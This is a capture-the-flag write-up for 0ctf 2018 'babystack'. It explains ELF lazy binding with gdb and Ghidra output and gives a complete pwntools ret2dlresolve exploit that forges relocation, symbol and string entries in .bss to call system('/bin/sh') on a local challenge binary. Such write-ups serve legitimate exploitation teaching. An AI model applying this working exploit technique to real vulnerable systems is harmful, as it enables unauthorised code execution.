0ctf 2018 Babystack

This writeup is based off of these resources:

https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
https://kileak.github.io/ctf/2018/0ctf-qual-babystack/

The objective of this challenge is to pop a shell, but without using an infoleak. The challenge originally used some python scripting to enforce this, however I did not use it. I know people could take the easy way out with how I have it, but where is the fun in that?

Let's take a look at the binary:

$    file babystack
babystack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=76b50d733400542b34d5e8fa23f0f12dc951d4ef, stripped
$    pwn checksec babystack
[*] '/Hackery/pod/modules/ret2_csu_dl/0ctf18_babystack/babystack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./babystack
15935728

So we can see that we are dealing with a 32 bit elf, that has a Non-Executable stack. When we run it, it prompts us for input.

Reversing

When we take a look at the binary in Ghidra, we don't immediately see a main function. However we see this function at 0x0804843b:

void scanInput(void)

{
  undefined input [40];
 
  read(0,input,0x40);
  return;
}

We can see here that it is scanning in 0x40 (64) bytes worth of data in a 40 byte chunk, giving us a 24 byte overflow. When we set a breakpoint for the read call in the function at 0x804844c, we see that it is indeed called (so this function is what was scanning in our input). When we check the offset between the start of our input and the return address, we see that it is 44 bytes.

Exploitation

So we have an obvious stack overflow bug. However how will we land it? Infoleaks are out of the question, so we can't do a ret2libc attack (returning to gadgets/functions/code in the libc). Also we don't have a libc file provided, so one more reason why ret2lic isn't feasible. It is a dynamically linked binary with a small code base, so we don't have many gadgets to work with. The only imported functions are alarm and read, and since our input has to be given as a single chunk, that doesn't help us too much. The answer to this is we will be performing a ret2dlresolve attack.

ret2dlresolve

So dynamically linked binaries are linked with a libc file when they are executed. This provides several advantages such as a smaller binary size. However since when the binary is compiled it doesn't know where functions in libc will be since it is linked at runtime, it has to go through a process of linking it at run time. The tl;dr of this is it essentially just looks up what the libc address of a function it is trying to link, and writes it to a section of memory in the binary, so it can call the libc function. A ret_2_dlresolve attack targets that functionality. First let's talk about how this process works before we talk about how we will attack it.

Elf binaries use something called Delayed Binding, which means that the linking process happens when the binary first tries to execute a libc function. To understand that, let's look at what the GOT addresses are for read before it is called:

Got table entries for read and alarm in .got.plt:

                             PTR_read_0804a00c                               XREF[1]:     read:08048300  
        0804a00c 00 b0 04 08     addr       read                                             = ??
                             PTR_alarm_0804a010                              XREF[1]:     alarm:08048310  
        0804a010 04 b0 04 08     addr       alarm                                            = ??

Now let's see what it is

gef➤  b *0x804844c
Breakpoint 1 at 0x804844c
gef➤  r
Starting program: /Hackery/pod/modules/ret2_csu_dl/0ctf18_babystack/babystack

Breakpoint 1, 0x0804844c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd0d0  →  0xffffd108  →  0x00000000
$ebx   : 0x0       
$ecx   : 0xffffd120  →  0x00000001
$edx   : 0x0       
$esp   : 0xffffd0c0  →  0x00000000
$ebp   : 0xffffd0f8  →  0xffffd108  →  0x00000000
$esi   : 0xf7fb5000  →  0x001dbd6c
$edi   : 0xf7fb5000  →  0x001dbd6c
$eip   : 0x0804844c  →  0xfffeafe8  →  0x00000000
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0c0│+0x0000: 0x00000000     ← $esp
0xffffd0c4│+0x0004: 0xffffd0d0  →  0xffffd108  →  0x00000000
0xffffd0c8│+0x0008: 0x00000040 ("@"?)
0xffffd0cc│+0x000c: 0xf7fb5000  →  0x001dbd6c
0xffffd0d0│+0x0010: 0xffffd108  →  0x00000000
0xffffd0d4│+0x0014: 0xf7fe9790  →   pop edx
0xffffd0d8│+0x0018: 0xffffd144  →  0x00000000
0xffffd0dc│+0x001c: 0xffffd108  →  0x00000000
──────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048446                  lea    eax, [ebp-0x28]
    0x8048449                  push   eax
    0x804844a                  push   0x0
 →  0x804844c                  call   0x8048300 <read@plt>
   ↳   0x8048300 <read@plt+0>     jmp    DWORD PTR ds:0x804a00c
       0x8048306 <read@plt+6>     push   0x0
       0x804830b <read@plt+11>    jmp    0x80482f0
       0x8048310 <alarm@plt+0>    jmp    DWORD PTR ds:0x804a010
       0x8048316 <alarm@plt+6>    push   0x8
       0x804831b <alarm@plt+11>   jmp    0x80482f0
──────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
read@plt (
   [sp + 0x0] = 0x00000000,
   [sp + 0x4] = 0xffffd0d0 → 0xffffd108 → 0x00000000,
   [sp + 0x8] = 0x00000040,
   [sp + 0xc] = 0xf7fb5000 → 0x001dbd6c
)
──────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "babystack", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804844c → call 0x8048300 <read@plt>
[#1] 0x804847a → mov eax, 0x0
[#2] 0xf7df7751 → __libc_start_main()
[#3] 0x8048361 → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/w 0x804a00c
0x804a00c <read@got.plt>:    0x8048306
gef➤  x/i 0x8048306
   0x8048306 <read@plt+6>:    push   0x0
gef➤  x/6i 0x8048300
   0x8048300 <read@plt>:    jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:    push   0x0
   0x804830b <read@plt+11>:    jmp    0x80482f0
   0x8048310 <alarm@plt>:    jmp    DWORD PTR ds:0x804a010
   0x8048316 <alarm@plt+6>:    push   0x8
   0x804831b <alarm@plt+11>:    jmp    0x80482f0

So we can see that the got entry for read points to read@plt+6. For the read@plt function, we can see that it starts off by jumping to whatever value is stored in the got entry for read (stored at 0x804a00c). Proceeding that it will push 0x0 on to the stack (offset for the read symbol), and jump to 0x80482f0. When we look at 0x80482f0 we see this:

gef➤  x/10i 0x80482f0
   0x80482f0:    push   DWORD PTR ds:0x804a004
   0x80482f6:    jmp    DWORD PTR ds:0x804a008
   0x80482fc:    add    BYTE PTR [eax],al
   0x80482fe:    add    BYTE PTR [eax],al
   0x8048300 <read@plt>:    jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:    push   0x0
   0x804830b <read@plt+11>:    jmp    0x80482f0
gef➤  x/w 0x804a008
0x804a008:    0xf7fe9780

So we can see it pushes the DWORD stored at 0x804a004 onto the stack. Then it jumps to the instruction pointer stored in 0x804a008. This function is _dl_runtime_resolve, and the value pushed before it is the link map. Even though there isn't a symbol for _dl_runtime_resolve, we can see that it's address is in the middle of some _dl functions:

gef➤  info functions
All defined functions:

.    .    .    

0xf7fe7570  _dl_make_stack_executable
0xf7fe7830  _dl_find_dso_for_object
0xf7fe9910  _dl_exception_create
0xf7fe9a10  _dl_exception_create_format
0xf7fe9d60  _dl_exception_free
0xf7feae80  __tunable_get_val

We can actually see the _dl_runtime_resolve function here:

gef➤  x/11i 0xf7fe9780
   0xf7fe9780:    push   eax
   0xf7fe9781:    push   ecx
   0xf7fe9782:    push   edx
   0xf7fe9783:    mov    edx,DWORD PTR [esp+0x10]
   0xf7fe9787:    mov    eax,DWORD PTR [esp+0xc]
   0xf7fe978b:    call   0xf7fe3af0 # Function which resolves the libc function address (_dl_fixup)
   0xf7fe9790:    pop    edx # Resolved libc address stored in eax (return value holder)
   0xf7fe9791:    mov    ecx,DWORD PTR [esp]
   0xf7fe9794:    mov    DWORD PTR [esp],eax # Store resolved libc address on the top of the stack ([esp])
   0xf7fe9797:    mov    eax,DWORD PTR [esp+0x4]
   0xf7fe979b:    ret    0xc # return to the libc function which we worked on resolving

When it goes through the process of linking the function, it needs to actually know which function it is linking (whether it be puts, system, or read). This is done by giving an offset to the symbol table (remember the push 0x0 earlier).

After read@plt is executed we can see that the got entry points to the libc address for read. That way whenever read@plt is called again, it will just jump to the got entry for it, which will be a libc address:

──────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804846d                  call   0x8048310 <alarm@plt>
    0x8048472                  add    esp, 0x10
    0x8048475                  call   0x804843b
 →  0x804847a                  mov    eax, 0x0
    0x804847f                  mov    ecx, DWORD PTR [ebp-0x4]
    0x8048482                  leave  
    0x8048483                  lea    esp, [ecx-0x4]
    0x8048486                  ret    
    0x8048487                  xchg   ax, ax
──────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "babystack", stopped, reason: TEMPORARY BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804847a → mov eax, 0x0
[#1] 0xf7df7751 → __libc_start_main()
[#2] 0x8048361 → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/w 0x804a00c
0x804a00c <read@got.plt>:    0xf7ec67e0
gef➤  x/i 0xf7ec67e0
   0xf7ec67e0 <read>:    push   esi
gef➤  p read
$2 = {<text variable, no debug info>} 0xf7ec67e0 <read>

Our attack will be to essentially create a fake symbols table (symtab), with a known offset to a fake symbol. If we were to pass this to _dl_runtime_resolve, it would call _dl_fixup which would turn around to resolve and execute that symbol (assuming it resolves to an actual libc function). That is what we will do to execute system.

Scanning in more data

So to scan in the full payload for the ret2dl, we won't be able to fit it into the initial 64 bytes worth of data. So we will have to be making another call to read. We will be scanning it into 0x804a020, which is the start of the bss. This is where we will store the things needed for the ret_2_dl_reslove:

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

After that, we will jump back to the scanInput function, so we can re-exploit the bug again. This time we will just jump to 0x80482f0 with the arguments being rel_plt_entry_index and /bin/sh to call a shell.

Executing ret_2_dl_resolve

Now to actually execute the attack, we will be needing to create some fake entries. First, let's take a look at all of the sections in this binary. Also just to be clear, our goal is to run the libc system function:

$    readelf -S babystack
There are 29 section headers, starting at offset 0x1150:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804827c 00027c 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048288 000288 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b0 0002b0 000018 08  AI  5  24  4
  [11] .init             PROGBITS        080482c8 0002c8 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080482f0 0002f0 000040 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048330 000330 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048340 000340 0001b2 00  AX  0   0 16
  [15] .fini             PROGBITS        080484f4 0004f4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048508 000508 000008 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        08048510 000510 000034 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048544 000544 0000ec 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4
  [25] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1
  [27] .comment          PROGBITS        00000000 001020 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001054 0000fa 00      0   0  1

We will be creating entries for the following sections:

.rel.plt     (Elf_Rel entry)
.dynsym     (Elf_Sym entry)
.dynstr

.rel.plt

The .rel.plt section is used for function relocation. The .rel.dyn is used for variable relocation. Let's take a look at this section:

$    readelf -r babystack

Relocation section '.rel.dyn' at offset 0x2a8 contains 1 entry:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000306 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2b0 contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   alarm@GLIBC_2.0
0804a014  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

And in memory:

gef➤  x/8w 0x80482a8
0x80482a8:    0x08049ffc    0x00000306    0x0804a00c    0x00000107
0x80482b8:    0x0804a010    0x00000207    0x0804a014    0x00000407
gef➤  x/w 0x804a014
0x804a014 <__libc_start_main@got.plt>:    0xf7df7660
gef➤  x/w 0x804a010
0x804a010 <alarm@got.plt>:    0xf7e9e480

Also let's look at the code for one of the entries:

  Typedef struct {
  Elf32_Addr r_offset; // got.plt entry
  Elf32_Word r_info; // index from symbol table
  } Elf32_Rel;

So we can see that each entry contains two DWORDS. The first dword is the got.plt entry for the function. The second is it's r_info (which is it's index form the symbol table).

When we make our fake .rel.plt, we will need two things. The first is a fake got entry address to give it, which the libc address for system will be written to (I tried different got entry addresses, and it didn't really seem to affect it).

For the r_info value (which is the index to the dynsm entry), we will be needing to calculate that. Remember, we are storing these entries at the start of the bss. With how these entries work, the dynsm entry will be stored at start_of_bss + 0xc. When we look at the dynsym next, we see that the dynsm entries start at an offset of 0x10 from the start, and we see one every 0x10 bytes after it (until we reach the end). So in order to find the right r_info index, we will take the address of where .dynsym is stored (start_of_bss + 0xc), and subtract from it the start of the .dynsym segment, and divide it by 0x10. After that we will need to shift it over to the left by 0x8 (it's how the indexes are stored, you will see why that is).

.dynsym

This section contains a dynamic symbol link table. Let's take a look at this section of the binary in Ghidra:

                             //
                             // .dynsym
                             // SHT_DYNSYM  [0x80481cc - 0x804822b]
                             // ram: 080481cc-0804822b
                             //
                             __DT_SYMTAB                                     XREF[2]:     08049f60(*),
                                                                                          _elfSectionHeaders::000000d4(*)  
        080481cc 00 00 00        Elf32_Sy
                 00 00 00
                 00 00 00
           080481cc 00 00 00 00 00  Elf32_Sym                         [0]                               XREF[2]:     08049f60(*),
                    00 00 00 00 00                                                                                   _elfSectionHeaders::000000d4(*)  
                    00 00 00 00 00
              080481cc 00 00 00 00     ddw       0h                      st_name                           XREF[2]:     08049f60(*),
                                                                                                                        _elfSectionHeaders::000000d4(*)  
              080481d0 00 00 00 00     ddw       0h                      st_value
              080481d4 00 00 00 00     ddw       0h                      st_size
              080481d8 00              db        0h                      st_info
              080481d9 00              db        0h                      st_other
              080481da 00 00           dw        0h                      st_shndx
           080481dc 1a 00 00 00 00  Elf32_Sym                         [1]           read
                    00 00 00 00 00
                    00 00 12 00 00
           080481ec 1f 00 00 00 00  Elf32_Sym                         [2]           alarm
                    00 00 00 00 00
                    00 00 12 00 00
           080481fc 37 00 00 00 00  Elf32_Sym                         [3]           __gmon_start__
                    00 00 00 00 00
                    00 00 20 00 00
           0804820c 25 00 00 00 00  Elf32_Sym                         [4]           __libc_start_main
                    00 00 00 00 00
                    00 00 12 00 00
           0804821c 0b 00 00 00 0c  Elf32_Sym                         [5]           _IO_stdin_used
                    85 04 08 04 00
                    00 00 11 00 10

So we can see here, there are entries for the imported functions. Thing is the r_info values actually corresponds to the indexes here. The equation is index = (r_info >> 8). For instance above we saw that the r_info value for alarm was 0x00000207. This would correspond to and index of 0x207 >> 8 = 2, which we can see is the index to alarm.

Now for the values stored in the various entries that r_info maps to. Each entry contains 0x10 bytes, so 4 DWORDS. Now for everything that we will want libc to link, there is a string that represents the symbol we want to link, that we will give to libc. These are stored in the .dynstr section. The first DWORD represents the offset from the start of the section to that. The start of the .dynstr section is 0x804822c. We can see that the offset alarm gives us is 0x1f. We can see that 0x804822c + 0x1f = 0x804824b, which is the address of the .dynstr entry for alarm. For this value, we will just take where our .dynstr entry will be for system (a little bit after the start of the bss), and subtract it from the start of the .dynstr section, to get the offset. For what we are trying to do, we can just set the other 3 DWORDS to 0x0 (from what I've seen, as long as it's less than 0x100, it should work).

.dynstr

Now this section contains the strings for the symbols that we want to link. When we take a look at this section of the binary in Ghidra, we see this:

                             //
                             // .dynstr
                             // SHT_STRTAB  [0x804822c - 0x804827b]
                             // ram: 0804822c-0804827b
                             //
                             __DT_STRTAB                                     XREF[2]:     08049f58(*),
                                                                                          _elfSectionHeaders::000000fc(*)  
        0804822c 00              ??         00h
        0804822d 6c 69 62        ds         "libc.so.6"
                 63 2e 73
                 6f 2e 36 00
        08048237 5f 49 4f        ds         "_IO_stdin_used"
                 5f 73 74
                 64 69 6e
        08048246 72 65 61        ds         "read"
                 64 00
        0804824b 61 6c 61        ds         "alarm"
                 72 6d 00
        08048251 5f 5f 6c        ds         "__libc_start_main"
                 69 62 63
                 5f 73 74
        08048263 5f 5f 67        ds         "__gmon_start__"
                 6d 6f 6e
                 5f 73 74
        08048272 47 4c 49        ds         "GLIBC_2.0"
                 42 43 5f
                 32 2e 30 00

So we can see strings in there for read and alarm, so libc can link them. This essentially tells libc what to link. For this, we will just put the string system. The previous entry already took care of the index.

Also one last thing, since we need a pointer to /bin/sh, we will just store that at the end of the bss.

Time to ret 2 dl_resolve

So that will be the entries we store in the bss. We are ready to actually execute the ret_2_dl_resolve. Leaving off from the read call we made, we will end up back in the scanInput function which we will exploit the buffer overflow again to take control of eip. With that we will call the 0x80482f0 function (the one that is jumped to @ plt+6, and starts the linking process). We will pass it the .rel.plt index for our fake entry. Since our fake entry starts at the beginning of the bss (0x804a020), and this index is just the distance from the start of the .rel.plt section (0x80482b0) to the entry, this index will just be 0x804a020 - 0x80482b0 = 0x1d70. After that we will pass our arguments to the function, which in this case will just be the address of /bin/sh which we stored in the bss.

Exploit

Bringing it all together, we have the following exploit:

# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0)

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in


target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './babystack': pid 10847
[*] '/Hackery/pod/modules/ret2_csu_dl/0ctf18_babystack/babystack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ w
 23:51:29 up  6:59,  1 user,  load average: 0.18, 0.12, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               16:58   ?xdm?   8:04   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
babystack  exploit.py  readme.md

Just like that, we popped a shell!